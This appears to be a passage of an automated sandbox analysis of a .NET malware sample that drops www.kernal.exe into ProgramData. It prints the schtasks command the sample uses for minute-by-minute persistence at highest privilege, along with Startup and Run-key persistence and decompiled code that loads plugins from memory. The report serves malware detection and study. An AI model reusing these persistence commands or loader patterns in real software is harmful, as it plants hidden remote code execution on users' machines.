Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe"	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: www.kernal.lnk.0.dr

LNK file: ..\..\..\..\..\..\..\..\..\ProgramData\www.kernal.exe

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: s8Z4L8DY65.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: s8Z4L8DY65.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: s8Z4L8DY65.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: s8Z4L8DY65.exe, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: www.kernal.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: www.kernal.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: s8Z4L8DY65.exe, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: s8Z4L8DY65.exe, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: s8Z4L8DY65.exe, Messages.cs	.Net Code: Memory
Source: www.kernal.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: www.kernal.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: www.kernal.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD3467213D push ebx; iretd	0_2_00007FFD3467216A
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD346705A0 push ebx; retf FFEFh	0_2_00007FFD3467062A
Source: C:\ProgramData\www.kernal.exe	Code function: 4_2_00007FFD346705A0 push ebx; retf FFEFh	4_2_00007FFD3467062A
Source: C:\ProgramData\www.kernal.exe	Code function: 5_2_00007FFD346605A0 push ebx; retf FFEFh	5_2_00007FFD3466062A
Source: C:\ProgramData\www.kernal.exe	Code function: 9_2_00007FFD346905A0 push ebx; retf FFEFh	9_2_00007FFD3469062A
Source: C:\ProgramData\www.kernal.exe	Code function: 12_2_00007FFD346905A0 push ebx; retf FFEFh	12_2_00007FFD3469062A
Source: C:\ProgramData\www.kernal.exe	Code function: 13_2_00007FFD346905A0 push ebx; retf FFEFh	13_2_00007FFD3469062A
Source: C:\ProgramData\www.kernal.exe	Code function: 14_2_00007FFD346705A0 push ebx; retf FFEFh	14_2_00007FFD3467062A
Source: C:\ProgramData\www.kernal.exe	Code function: 15_2_00007FFD346605A0 push ebx; retf FFEFh	15_2_00007FFD3466062A

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File created: C:\ProgramData\www.kernal.exe

Jump to dropped file

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File created: C:\ProgramData\www.kernal.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe"

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run www.kernal			Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run www.kernal			Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
